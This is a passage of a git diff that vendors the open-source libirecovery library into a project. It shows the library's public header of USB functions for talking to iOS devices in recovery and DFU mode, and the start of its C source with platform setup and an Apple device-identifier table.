+ * _UINT32_T, _UINT8_T, const, size_t, ssize_t, uint*_t (C99 host)
+ */
+
+#endif /* VPHONE_MOBILERECOVERYCORE_CONFIG_H */
diff --git a/sources/MobileRecoveryCore/include/libirecovery.h b/sources/MobileRecoveryCore/include/libirecovery.h
new file mode 100644
index 00000000..e37b0609
--- /dev/null
+++ b/sources/MobileRecoveryCore/include/libirecovery.h
@@ -0,0 +1,204 @@
+/*
+ * libirecovery.h
+ * Communication to iBoot/iBSS on Apple iOS devices via USB
+ *
+ * Copyright (c) 2012-2023 Nikias Bassen <[email protected]>
+ * Copyright (c) 2012-2013 Martin Szulecki <[email protected]>
+ * Copyright (c) 2010 Chronic-Dev Team
+ * Copyright (c) 2010 Joshua Hill
+ *
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the GNU Lesser General Public License
+ * (LGPL) version 2.1 which accompanies this distribution, and is available at
+ * http://www.gnu.org/licenses/lgpl-2.1.html
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ */
+
+#ifndef LIBIRECOVERY_H
+#define LIBIRECOVERY_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+
+#ifndef IRECV_API
+ #ifdef IRECV_STATIC
+ #define IRECV_API
+ #elif defined(_WIN32)
+ #define IRECV_API __declspec(dllimport)
+ #else
+ #define IRECV_API
+ #endif
+#endif
+
+enum irecv_mode {
+ IRECV_K_RECOVERY_MODE_1 = 0x1280,
+ IRECV_K_RECOVERY_MODE_2 = 0x1281,
+ IRECV_K_RECOVERY_MODE_3 = 0x1282,
+ IRECV_K_RECOVERY_MODE_4 = 0x1283,
+ IRECV_K_WTF_MODE = 0x1222,
+ IRECV_K_DFU_MODE = 0x1227,
+ IRECV_K_PORT_DFU_MODE = 0xf014
+};
+
+typedef enum {
+ IRECV_E_SUCCESS = 0,
+ IRECV_E_NO_DEVICE = -1,
+ IRECV_E_OUT_OF_MEMORY = -2,
+ IRECV_E_UNABLE_TO_CONNECT = -3,
+ IRECV_E_INVALID_INPUT = -4,
+ IRECV_E_FILE_NOT_FOUND = -5,
+ IRECV_E_USB_UPLOAD = -6,
+ IRECV_E_USB_STATUS = -7,
+ IRECV_E_USB_INTERFACE = -8,
+ IRECV_E_USB_CONFIGURATION = -9,
+ IRECV_E_PIPE = -10,
+ IRECV_E_TIMEOUT = -11,
+ IRECV_E_UNSUPPORTED = -254,
+ IRECV_E_UNKNOWN_ERROR = -255
+} irecv_error_t;
+
+typedef enum {
+ IRECV_RECEIVED = 1,
+ IRECV_PRECOMMAND = 2,
+ IRECV_POSTCOMMAND = 3,
+ IRECV_CONNECTED = 4,
+ IRECV_DISCONNECTED = 5,
+ IRECV_PROGRESS = 6
+} irecv_event_type;
+
+typedef struct {
+ int size;
+ const char* data;
+ double progress;
+ irecv_event_type type;
+} irecv_event_t;
+
+struct irecv_device {
+ const char* product_type;
+ const char* hardware_model;
+ unsigned int board_id;
+ unsigned int chip_id;
+ const char* display_name;
+};
+typedef struct irecv_device* irecv_device_t;
+
+struct irecv_device_info {
+ unsigned int cpid;
+ unsigned int cprv;
+ unsigned int cpfm;
+ unsigned int scep;
+ unsigned int bdid;
+ uint64_t ecid;
+ unsigned int ibfl;
+ char* srnm;
+ char* imei;
+ char* srtg;
+ char* serial_string;
+ unsigned char* ap_nonce;
+ unsigned int ap_nonce_size;
+ unsigned char* sep_nonce;
+ unsigned int sep_nonce_size;
+ uint16_t pid;
+ unsigned int have_cpid : 1;
+ unsigned int have_cprv : 1;
+ unsigned int have_cpfm : 1;
+ unsigned int have_scep : 1;
+ unsigned int have_bdid : 1;
+ unsigned int have_ecid : 1;
+ unsigned int have_ibfl : 1;
+};
+
+typedef enum {
+ IRECV_DEVICE_ADD = 1,
+ IRECV_DEVICE_REMOVE = 2
+} irecv_device_event_type;
+
+typedef struct {
+ irecv_device_event_type type;
+ enum irecv_mode mode;
+ struct irecv_device_info *device_info;
+} irecv_device_event_t;
+
+typedef struct irecv_client_private irecv_client_private;
+typedef irecv_client_private* irecv_client_t;
+
+enum {
+ IRECV_SEND_OPT_NONE = 0,
+ IRECV_SEND_OPT_DFU_NOTIFY_FINISH = (1 << 0),
+ IRECV_SEND_OPT_DFU_FORCE_ZLP = (1 << 1),
+ IRECV_SEND_OPT_DFU_SMALL_PKT = (1 << 2)
+};
+
+/* library */
+IRECV_API void irecv_set_debug_level(int level);
+IRECV_API const char* irecv_strerror(irecv_error_t error);
+
+IRECV_API const char* irecv_version();
+
+/* device connectivity */
+IRECV_API irecv_error_t irecv_open_with_ecid(irecv_client_t* client, uint64_t ecid);
+IRECV_API irecv_error_t irecv_open_with_ecid_and_attempts(irecv_client_t* pclient, uint64_t ecid, int attempts);
+IRECV_API irecv_error_t irecv_reset(irecv_client_t client);
+IRECV_API irecv_error_t irecv_close(irecv_client_t client);
+IRECV_API irecv_client_t irecv_reconnect(irecv_client_t client, int initial_pause);
+
+/* misc */
+IRECV_API irecv_error_t irecv_receive(irecv_client_t client);
+IRECV_API irecv_error_t irecv_execute_script(irecv_client_t client, const char* script);
+IRECV_API irecv_error_t irecv_reset_counters(irecv_client_t client);
+IRECV_API irecv_error_t irecv_finish_transfer(irecv_client_t client);
+IRECV_API irecv_error_t irecv_trigger_limera1n_exploit(irecv_client_t client);
+
+/* usb helpers */
+IRECV_API irecv_error_t irecv_usb_set_configuration(irecv_client_t client, int configuration);
+IRECV_API irecv_error_t irecv_usb_set_interface(irecv_client_t client, int usb_interface, int usb_alt_interface);
+IRECV_API int irecv_usb_control_transfer(irecv_client_t client, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, unsigned char *data, uint16_t w_length, unsigned int timeout);
+IRECV_API int irecv_usb_bulk_transfer(irecv_client_t client, unsigned char endpoint, unsigned char *data, int length, int *transferred, unsigned int timeout);
+IRECV_API int irecv_usb_interrupt_transfer(irecv_client_t client, unsigned char endpoint, unsigned char *data, int length, int *transferred, unsigned int timeout);
+
+/* events */
+typedef void(*irecv_device_event_cb_t)(const irecv_device_event_t* event, void *user_data);
+typedef struct irecv_device_event_context* irecv_device_event_context_t;
+IRECV_API irecv_error_t irecv_device_event_subscribe(irecv_device_event_context_t *context, irecv_device_event_cb_t callback, void *user_data);
+IRECV_API irecv_error_t irecv_device_event_unsubscribe(irecv_device_event_context_t context);
+typedef int(*irecv_event_cb_t)(irecv_client_t client, const irecv_event_t* event);
+IRECV_API irecv_error_t irecv_event_subscribe(irecv_client_t client, irecv_event_type type, irecv_event_cb_t callback, void *user_data);
+IRECV_API irecv_error_t irecv_event_unsubscribe(irecv_client_t client, irecv_event_type type);
+
+/* I/O */
+IRECV_API irecv_error_t irecv_send_file(irecv_client_t client, const char* filename, unsigned int options);
+IRECV_API irecv_error_t irecv_send_command(irecv_client_t client, const char* command);
+IRECV_API irecv_error_t irecv_send_command_breq(irecv_client_t client, const char* command, uint8_t b_request);
+IRECV_API irecv_error_t irecv_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, unsigned int options);
+IRECV_API irecv_error_t irecv_recv_buffer(irecv_client_t client, char* buffer, unsigned long length);
+
+/* commands */
+IRECV_API irecv_error_t irecv_saveenv(irecv_client_t client);
+IRECV_API irecv_error_t irecv_getenv(irecv_client_t client, const char* variable, char** value);
+IRECV_API irecv_error_t irecv_setenv(irecv_client_t client, const char* variable, const char* value);
+IRECV_API irecv_error_t irecv_setenv_np(irecv_client_t client, const char* variable, const char* value);
+IRECV_API irecv_error_t irecv_reboot(irecv_client_t client);
+IRECV_API irecv_error_t irecv_getret(irecv_client_t client, unsigned int* value);
+
+/* device information */
+IRECV_API irecv_error_t irecv_get_mode(irecv_client_t client, int* mode);
+IRECV_API const struct irecv_device_info* irecv_get_device_info(irecv_client_t client);
+
+/* device database queries */
+IRECV_API irecv_device_t irecv_devices_get_all(void);
+IRECV_API irecv_error_t irecv_devices_get_device_by_client(irecv_client_t client, irecv_device_t* device);
+IRECV_API irecv_error_t irecv_devices_get_device_by_product_type(const char* product_type, irecv_device_t* device);
+IRECV_API irecv_error_t irecv_devices_get_device_by_hardware_model(const char* hardware_model, irecv_device_t* device);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRecoveryCore/libirecovery.c b/sources/MobileRecoveryCore/libirecovery.c
new file mode 100644
index 00000000..bf9a0d6a
--- /dev/null
+++ b/sources/MobileRecoveryCore/libirecovery.c
@@ -0,0 +1,4326 @@
+/*
+ * libirecovery.c
+ * Communication to iBoot/iBSS on Apple iOS devices via USB
+ *
+ * Copyright (c) 2011-2023 Nikias Bassen <[email protected]>
+ * Copyright (c) 2012-2020 Martin Szulecki <[email protected]>
+ * Copyright (c) 2010 Chronic-Dev Team
+ * Copyright (c) 2010 Joshua Hill
+ * Copyright (c) 2008-2011 Nicolas Haunold
+ *
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the GNU Lesser General Public License
+ * (LGPL) version 2.1 which accompanies this distribution, and is available at
+ * http://www.gnu.org/licenses/lgpl-2.1.html
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <inttypes.h>
+#include <ctype.h>
+#include <unistd.h>
+#include <sys/stat.h>
+
+#include <libimobiledevice-glue/collection.h>
+#include <libimobiledevice-glue/thread.h>
+
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+#include <libusb.h>
+#if (defined(LIBUSB_API_VERSION) && (LIBUSB_API_VERSION >= 0x01000102)) || (defined(LIBUSBX_API_VERSION) && (LIBUSBX_API_VERSION >= 0x01000102))
+#define HAVE_LIBUSB_HOTPLUG_API 1
+#endif
+#else
+#include <CoreFoundation/CoreFoundation.h>
+#include <IOKit/usb/IOUSBLib.h>
+#include <IOKit/IOCFPlugIn.h>
+#endif
+#else
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#include <setupapi.h>
+#ifndef sleep
+#define sleep(n) Sleep(1000 * n)
+#endif
+#endif
+#endif
+
+#ifdef IRECV_STATIC
+ #define IRECV_API
+#elif defined(_WIN32)
+ #define IRECV_API __declspec( dllexport )
+#else
+ #if __GNUC__ >= 4
+ #define IRECV_API __attribute__((visibility("default")))
+ #else
+ #define IRECV_API
+ #endif
+#endif
+
+#include "libirecovery.h"
+
+// Reference: https://stackoverflow.com/a/2390626/1806760
+// Initializer/finalizer sample for MSVC and GCC/Clang.
+// 2010-2016 Joe Lowe. Released into the public domain.
+
+#ifdef __cplusplus
+ #define INITIALIZER(f) \
+ static void f(void); \
+ struct f##_t_ { f##_t_(void) { f(); } }; static f##_t_ f##_; \
+ static void f(void)
+#elif defined(_MSC_VER)
+ #pragma section(".CRT$XCU",read)
+ #define INITIALIZER2_(f,p) \
+ static void f(void); \
+ __declspec(allocate(".CRT$XCU")) void (*f##_)(void) = f; \
+ __pragma(comment(linker,"/include:" p #f "_")) \
+ static void f(void)
+ #ifdef _WIN64
+ #define INITIALIZER(f) INITIALIZER2_(f,"")
+ #else
+ #define INITIALIZER(f) INITIALIZER2_(f,"_")
+ #endif
+#else
+ #define INITIALIZER(f) \
+ static void f(void) __attribute__((__constructor__)); \
+ static void f(void)
+#endif
+
+struct irecv_client_private {
+ int debug;
+ int usb_config;
+ int usb_interface;
+ int usb_alt_interface;
+ unsigned int mode;
+ int isKIS;
+ struct irecv_device_info device_info;
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ libusb_device_handle* handle;
+#else
+ IOUSBDeviceInterface320 **handle;
+ IOUSBInterfaceInterface300 **usbInterface;
+#endif
+#else
+ HANDLE handle;
+#endif
+ irecv_event_cb_t progress_callback;
+ irecv_event_cb_t received_callback;
+ irecv_event_cb_t connected_callback;
+ irecv_event_cb_t precommand_callback;
+ irecv_event_cb_t postcommand_callback;
+ irecv_event_cb_t disconnected_callback;
+#endif
+};
+
+#define USB_TIMEOUT 10000
+#define APPLE_VENDOR_ID 0x05AC
+
+// KIS
+#define KIS_PRODUCT_ID 0x1881
+
+#define KIS_PORTAL_CONFIG 0x01
+#define KIS_PORTAL_RSM 0x10
+
+#define KIS_INDEX_UPLOAD 0x0D
+#define KIS_INDEX_ENABLE_A 0x0A // macOS writes to this
+#define KIS_INDEX_ENABLE_B 0x14 // macOS writes to this
+#define KIS_INDEX_GET_INFO 0x100
+#define KIS_INDEX_BOOT_IMG 0x103
+
+#define KIS_ENABLE_A_VAL 0x21 // Value to write to KIS_INDEX_ENABLE_A
+#define KIS_ENABLE_B_VAL 0x01 // Value to write to KIS_INDEX_ENABLE_B
+
+#define BUFFER_SIZE 0x1000
+#define debug(...) if (libirecovery_debug) fprintf(stderr, __VA_ARGS__)
+
+static int libirecovery_debug = 0;
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+static libusb_context* libirecovery_context = NULL;
+#endif
+#endif
+#endif
+
+static struct irecv_device irecv_devices[] = {
+ /* iPhone */
+ { "iPhone1,1", "m68ap", 0x00, 0x8900, "iPhone 2G" },
+ { "iPhone1,2", "n82ap", 0x04, 0x8900, "iPhone 3G" },
+ { "iPhone2,1", "n88ap", 0x00, 0x8920, "iPhone 3Gs" },
+ { "iPhone3,1", "n90ap", 0x00, 0x8930, "iPhone 4 (GSM)" },
+ { "iPhone3,2", "n90bap", 0x04, 0x8930, "iPhone 4 (GSM) R2 2012" },
+ { "iPhone3,3", "n92ap", 0x06, 0x8930, "iPhone 4 (CDMA)" },
+ { "iPhone4,1", "n94ap", 0x08, 0x8940, "iPhone 4s" },
+ { "iPhone5,1", "n41ap", 0x00, 0x8950, "iPhone 5 (GSM)" },
+ { "iPhone5,2", "n42ap", 0x02, 0x8950, "iPhone 5 (Global)" },
+ { "iPhone5,3", "n48ap", 0x0a, 0x8950, "iPhone 5c (GSM)" },
+ { "iPhone5,4", "n49ap", 0x0e, 0x8950, "iPhone 5c (Global)" },
+ { "iPhone6,1", "n51ap", 0x00, 0x8960, "iPhone 5s (GSM)" },
+ { "iPhone6,2", "n53ap", 0x02, 0x8960, "iPhone 5s (Global)" },
+ { "iPhone7,1", "n56ap", 0x04, 0x7000, "iPhone 6 Plus" },
+ { "iPhone7,2", "n61ap", 0x06, 0x7000, "iPhone 6" },
+ { "iPhone8,1", "n71ap", 0x04, 0x8000, "iPhone 6s" },
+ { "iPhone8,1", "n71map", 0x04, 0x8003, "iPhone 6s" },
+ { "iPhone8,2", "n66ap", 0x06, 0x8000, "iPhone 6s Plus" },
+ { "iPhone8,2", "n66map", 0x06, 0x8003, "iPhone 6s Plus" },
+ { "iPhone8,4", "n69ap", 0x02, 0x8003, "iPhone SE (1st gen)" },
+ { "iPhone8,4", "n69uap", 0x02, 0x8000, "iPhone SE (1st gen)" },
+ { "iPhone9,1", "d10ap", 0x08, 0x8010, "iPhone 7 (Global)" },
+ { "iPhone9,2", "d11ap", 0x0a, 0x8010, "iPhone 7 Plus (Global)" },
+ { "iPhone9,3", "d101ap", 0x0c, 0x8010, "iPhone 7 (GSM)" },
+ { "iPhone9,4", "d111ap", 0x0e, 0x8010, "iPhone 7 Plus (GSM)" },
+ { "iPhone10,1", "d20ap", 0x02, 0x8015, "iPhone 8 (Global)" },
+ { "iPhone10,2", "d21ap", 0x04, 0x8015, "iPhone 8 Plus (Global)" },
+ { "iPhone10,3", "d22ap", 0x06, 0x8015, "iPhone X (Global)" },
+ { "iPhone10,4", "d201ap", 0x0a, 0x8015, "iPhone 8 (GSM)" },
+ { "iPhone10,5", "d211ap", 0x0c, 0x8015, "iPhone 8 Plus (GSM)" },
+ { "iPhone10,6", "d221ap", 0x0e, 0x8015, "iPhone X (GSM)" },
+ { "iPhone11,2", "d321ap", 0x0e, 0x8020, "iPhone XS" },
+ { "iPhone11,4", "d331ap", 0x0a, 0x8020, "iPhone XS Max (China)" },
+ { "iPhone11,6", "d331pap", 0x1a, 0x8020, "iPhone XS Max" },
+ { "iPhone11,8", "n841ap", 0x0c, 0x8020, "iPhone XR" },
+ { "iPhone12,1", "n104ap", 0x04, 0x8030, "iPhone 11" },
+ { "iPhone12,3", "d421ap", 0x06, 0x8030, "iPhone 11 Pro" },
+ { "iPhone12,5", "d431ap", 0x02, 0x8030, "iPhone 11 Pro Max" },
+ { "iPhone12,8", "d79ap", 0x10, 0x8030, "iPhone SE (2nd gen)" },
+ { "iPhone13,1", "d52gap", 0x0A, 0x8101, "iPhone 12 mini" },
+ { "iPhone13,2", "d53gap", 0x0C, 0x8101, "iPhone 12" },
+ { "iPhone13,3", "d53pap", 0x0E, 0x8101, "iPhone 12 Pro" },
+ { "iPhone13,4", "d54pap", 0x08, 0x8101, "iPhone 12 Pro Max" },
+ { "iPhone14,2", "d63ap", 0x0C, 0x8110, "iPhone 13 Pro" },
+ { "iPhone14,3", "d64ap", 0x0E, 0x8110, "iPhone 13 Pro Max" },
+ { "iPhone14,4", "d16ap", 0x08, 0x8110, "iPhone 13 mini" },
+ { "iPhone14,5", "d17ap", 0x0A, 0x8110, "iPhone 13" },
+ { "iPhone14,6", "d49ap", 0x10, 0x8110, "iPhone SE (3rd gen)" },
+ { "iPhone14,7", "d27ap", 0x18, 0x8110, "iPhone 14" },
+ { "iPhone14,8", "d28ap", 0x1A, 0x8110, "iPhone 14 Plus" },
+ { "iPhone15,2", "d73ap", 0x0C, 0x8120, "iPhone 14 Pro" },
+ { "iPhone15,3", "d74ap", 0x0E, 0x8120, "iPhone 14 Pro Max" },
+ { "iPhone15,4", "d37ap", 0x08, 0x8120, "iPhone 15" },
+ { "iPhone15,5", "d38ap", 0x0A, 0x8120, "iPhone 15 Plus" },
+ { "iPhone16,1", "d83ap", 0x04, 0x8130, "iPhone 15 Pro" },
+ { "iPhone16,2", "d84ap", 0x06, 0x8130, "iPhone 15 Pro Max" },
+ { "iPhone17,1", "d93ap", 0x0C, 0x8140, "iPhone 16 Pro" },
+ { "iPhone17,2", "d94ap", 0x0E, 0x8140, "iPhone 16 Pro Max" },
+ { "iPhone17,3", "d47ap", 0x08, 0x8140, "iPhone 16" },
+ { "iPhone17,4", "d48ap", 0x0A, 0x8140, "iPhone 16 Plus" },
+ { "iPhone17,5", "v59ap", 0x04, 0x8140, "iPhone 16e" },
+ { "iPhone18,1", "v53ap", 0x0C, 0x8150, "iPhone 17 Pro" },
+ { "iPhone18,2", "v54ap", 0x0E, 0x8150, "iPhone 17 Pro Max" },
+ { "iPhone18,3", "v57ap", 0x08, 0x8150, "iPhone 17" },
+ { "iPhone18,4", "d23ap", 0x0A, 0x8150, "iPhone Air" },
+ /* iPod */
+ { "iPod1,1", "n45ap", 0x02, 0x8900, "iPod Touch (1st gen)" },
+ { "iPod2,1", "n72ap", 0x00, 0x8720, "iPod Touch (2nd gen)" },
+ { "iPod3,1", "n18ap", 0x02, 0x8922, "iPod Touch (3rd gen)" },
+ { "iPod4,1", "n81ap", 0x08, 0x8930, "iPod Touch (4th gen)" },
+ { "iPod5,1", "n78ap", 0x00, 0x8942, "iPod Touch (5th gen)" },
+ { "iPod7,1", "n102ap", 0x10, 0x7000, "iPod Touch (6th gen)" },
+ { "iPod9,1", "n112ap", 0x16, 0x8010, "iPod Touch (7th gen)" },
+ /* iPad */
+ { "iPad1,1", "k48ap", 0x02, 0x8930, "iPad" },
+ { "iPad2,1", "k93ap", 0x04, 0x8940, "iPad 2 (WiFi)" },
+ { "iPad2,2", "k94ap", 0x06, 0x8940, "iPad 2 (GSM)" },
+ { "iPad2,3", "k95ap", 0x02, 0x8940, "iPad 2 (CDMA)" },
+ { "iPad2,4", "k93aap", 0x06, 0x8942, "iPad 2 (WiFi) R2 2012" },
+ { "iPad2,5", "p105ap", 0x0a, 0x8942, "iPad mini (WiFi)" },
+ { "iPad2,6", "p106ap", 0x0c, 0x8942, "iPad mini (GSM)" },
+ { "iPad2,7", "p107ap", 0x0e, 0x8942, "iPad mini (Global)" },
+ { "iPad3,1", "j1ap", 0x00, 0x8945, "iPad (3rd gen, WiFi)" },
+ { "iPad3,2", "j2ap", 0x02, 0x8945, "iPad (3rd gen, CDMA)" },
+ { "iPad3,3", "j2aap", 0x04, 0x8945, "iPad (3rd gen, GSM)" },
+ { "iPad3,4", "p101ap", 0x00, 0x8955, "iPad (4th gen, WiFi)" },
+ { "iPad3,5", "p102ap", 0x02, 0x8955, "iPad (4th gen, GSM)" },
+ { "iPad3,6", "p103ap", 0x04, 0x8955, "iPad (4th gen, Global)" },
+ { "iPad4,1", "j71ap", 0x10, 0x8960, "iPad Air (WiFi)" },
+ { "iPad4,2", "j72ap", 0x12, 0x8960, "iPad Air (Cellular)" },
+ { "iPad4,3", "j73ap", 0x14, 0x8960, "iPad Air (China)" },
+ { "iPad4,4", "j85ap", 0x0a, 0x8960, "iPad mini 2 (WiFi)" },
+ { "iPad4,5", "j86ap", 0x0c, 0x8960, "iPad mini 2 (Cellular)" },
+ { "iPad4,6", "j87ap", 0x0e, 0x8960, "iPad mini 2 (China)" },
+ { "iPad4,7", "j85map", 0x32, 0x8960, "iPad mini 3 (WiFi)" },
+ { "iPad4,8", "j86map", 0x34, 0x8960, "iPad mini 3 (Cellular)" },
+ { "iPad4,9", "j87map", 0x36, 0x8960, "iPad mini 3 (China)" },
+ { "iPad5,1", "j96ap", 0x08, 0x7000, "iPad mini 4 (WiFi)" },
+ { "iPad5,2", "j97ap", 0x0A, 0x7000, "iPad mini 4 (Cellular)" },
+ { "iPad5,3", "j81ap", 0x06, 0x7001, "iPad Air 2 (WiFi)" },
+ { "iPad5,4", "j82ap", 0x02, 0x7001, "iPad Air 2 (Cellular)" },
+ { "iPad6,3", "j127ap", 0x08, 0x8001, "iPad Pro 9.7-inch (WiFi)" },
+ { "iPad6,4", "j128ap", 0x0a, 0x8001, "iPad Pro 9.7-inch (Cellular)" },
+ { "iPad6,7", "j98aap", 0x10, 0x8001, "iPad Pro 12.9-inch (1st gen, WiFi)" },
+ { "iPad6,8", "j99aap", 0x12, 0x8001, "iPad Pro 12.9-inch (1st gen, Cellular)" },
+ { "iPad6,11", "j71sap", 0x10, 0x8000, "iPad (5th gen, WiFi)" },
+ { "iPad6,11", "j71tap", 0x10, 0x8003, "iPad (5th gen, WiFi)" },
+ { "iPad6,12", "j72sap", 0x12, 0x8000, "iPad (5th gen, Cellular)" },
+ { "iPad6,12", "j72tap", 0x12, 0x8003, "iPad (5th gen, Cellular)" },
+ { "iPad7,1", "j120ap", 0x0C, 0x8011, "iPad Pro 12.9-inch (2nd gen, WiFi)" },
+ { "iPad7,2", "j121ap", 0x0E, 0x8011, "iPad Pro 12.9-inch (2nd gen, Cellular)" },
+ { "iPad7,3", "j207ap", 0x04, 0x8011, "iPad Pro 10.5-inch (WiFi)" },
+ { "iPad7,4", "j208ap", 0x06, 0x8011, "iPad Pro 10.5-inch (Cellular)" },
+ { "iPad7,5", "j71bap", 0x18, 0x8010, "iPad (6th gen, WiFi)" },
+ { "iPad7,6", "j72bap", 0x1A, 0x8010, "iPad (6th gen, Cellular)" },
+ { "iPad7,11", "j171ap", 0x1C, 0x8010, "iPad (7th gen, WiFi)" },
+ { "iPad7,12", "j172ap", 0x1E, 0x8010, "iPad (7th gen, Cellular)" },
+ { "iPad8,1", "j317ap", 0x0C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi)" },
+ { "iPad8,2", "j317xap", 0x1C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi, 1TB)" },
+ { "iPad8,3", "j318ap", 0x0E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular)" },
+ { "iPad8,4", "j318xap", 0x1E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular, 1TB)" },
+ { "iPad8,5", "j320ap", 0x08, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi)" },
+ { "iPad8,6", "j320xap", 0x18, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi, 1TB)" },
+ { "iPad8,7", "j321ap", 0x0A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular)" },
+ { "iPad8,8", "j321xap", 0x1A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular, 1TB)" },
+ { "iPad8,9", "j417ap", 0x3C, 0x8027, "iPad Pro 11-inch (2nd gen, WiFi)" },
+ { "iPad8,10", "j418ap", 0x3E, 0x8027, "iPad Pro 11-inch (2nd gen, Cellular)" },
+ { "iPad8,11", "j420ap", 0x38, 0x8027, "iPad Pro 12.9-inch (4th gen, WiFi)" },
+ { "iPad8,12", "j421ap", 0x3A, 0x8027, "iPad Pro 12.9-inch (4th gen, Cellular)" },
+ { "iPad11,1", "j210ap", 0x14, 0x8020, "iPad mini (5th gen, WiFi)" },
+ { "iPad11,2", "j211ap", 0x16, 0x8020, "iPad mini (5th gen, Cellular)" },
+ { "iPad11,3", "j217ap", 0x1C, 0x8020, "iPad Air (3rd gen, WiFi)" },
+ { "iPad11,4", "j218ap", 0x1E, 0x8020, "iPad Air (3rd gen, Cellular)" },
+ { "iPad11,6", "j171aap", 0x24, 0x8020, "iPad (8th gen, WiFi)" },
+ { "iPad11,7", "j172aap", 0x26, 0x8020, "iPad (8th gen, Cellular)" },
+ { "iPad12,1", "j181ap", 0x18, 0x8030, "iPad (9th gen, WiFi)" },
+ { "iPad12,2", "j182ap", 0x1A, 0x8030, "iPad (9th gen, Cellular)" },
+ { "iPad13,1", "j307ap", 0x04, 0x8101, "iPad Air (4th gen, WiFi)" },
+ { "iPad13,2", "j308ap", 0x06, 0x8101, "iPad Air (4th gen, Cellular)" },
+ { "iPad13,4", "j517ap", 0x08, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi)" },
+ { "iPad13,5", "j517xap", 0x0A, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi, 2TB)" },
+ { "iPad13,6", "j518ap", 0x0C, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular)" },
+ { "iPad13,7", "j518xap", 0x0E, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular, 2TB)" },
+ { "iPad13,8", "j522ap", 0x18, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi)" },
+ { "iPad13,9", "j522xap", 0x1A, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi, 2TB)" },
+ { "iPad13,10", "j523ap", 0x1C, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular)" },
+ { "iPad13,11", "j523xap", 0x1E, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular, 2TB)" },
+ { "iPad13,16", "j407ap", 0x10, 0x8103, "iPad Air (5th gen, WiFi)" },
+ { "iPad13,17", "j408ap", 0x12, 0x8103, "iPad Air (5th gen, Cellular)" },
+ { "iPad13,18", "j271ap", 0x14, 0x8101, "iPad (10th gen, WiFi)" },
+ { "iPad13,19", "j272ap", 0x16, 0x8101, "iPad (10th gen, Cellular)" },
+ { "iPad14,1", "j310ap", 0x04, 0x8110, "iPad mini (6th gen, WiFi)" },
+ { "iPad14,2", "j311ap", 0x06, 0x8110, "iPad mini (6th gen, Cellular)" },
+ { "iPad14,3", "j617ap", 0x08, 0x8112, "iPad Pro 11-inch (4th gen, WiFi)" },
+ { "iPad14,4", "j618ap", 0x0A, 0x8112, "iPad Pro 11-inch (4th gen, Cellular)" },
+ { "iPad14,5", "j620ap", 0x0C, 0x8112, "iPad Pro 12.9-inch (6th gen, WiFi)" },
+ { "iPad14,6", "j621ap", 0x0E, 0x8112, "iPad Pro 12.9-inch (6th gen, Cellular)" },
+ { "iPad14,8", "j507ap", 0x10, 0x8112, "iPad Air 11-inch (M2, WiFi)" },
+ { "iPad14,9", "j508ap", 0x12, 0x8112, "iPad Air 11-inch (M2, Cellular)" },
+ { "iPad14,10", "j537ap", 0x14, 0x8112, "iPad Air 13-inch (M2, WiFi)" },
+ { "iPad14,11", "j538ap", 0x16, 0x8112, "iPad Air 13-inch (M2, Cellular)" },
+ { "iPad15,3", "j607ap", 0x08, 0x8122, "iPad Air 11-inch (M3, WiFi)" },
+ { "iPad15,4", "j608ap", 0x0A, 0x8122, "iPad Air 11-inch (M3, Cellular)" },
+ { "iPad15,5", "j637ap", 0x0C, 0x8122, "iPad Air 13-inch (M3, WiFi)" },
+ { "iPad15,6", "j638ap", 0x0E, 0x8122, "iPad Air 13-inch (M3, Cellular)" },
+ { "iPad15,7", "j481ap", 0x10, 0x8120, "iPad (A16, WiFi)" },
+ { "iPad15,8", "j482ap", 0x12, 0x8120, "iPad (A16, Cellular)" },
+ { "iPad16,1", "j410ap", 0x08, 0x8130, "iPad mini (A17 Pro, WiFi)" },
+ { "iPad16,2", "j411ap", 0x0A, 0x8130, "iPad mini (A17 Pro, Cellular)" },
+ { "iPad16,3", "j717ap", 0x08, 0x8132, "iPad Pro 11-inch (M4, WiFi)" },
+ { "iPad16,4", "j718ap", 0x0A, 0x8132, "iPad Pro 11-inch (M4, Cellular)" },
+ { "iPad16,5", "j720ap", 0x0C, 0x8132, "iPad Pro 13-inch (M4, WiFi)" },
+ { "iPad16,6", "j721ap", 0x0E, 0x8132, "iPad Pro 13-inch (M4, Cellular)" },
+ { "iPad17,1", "j817ap", 0x08, 0x8142, "iPad Pro 11-inch (M5, WiFi)" },
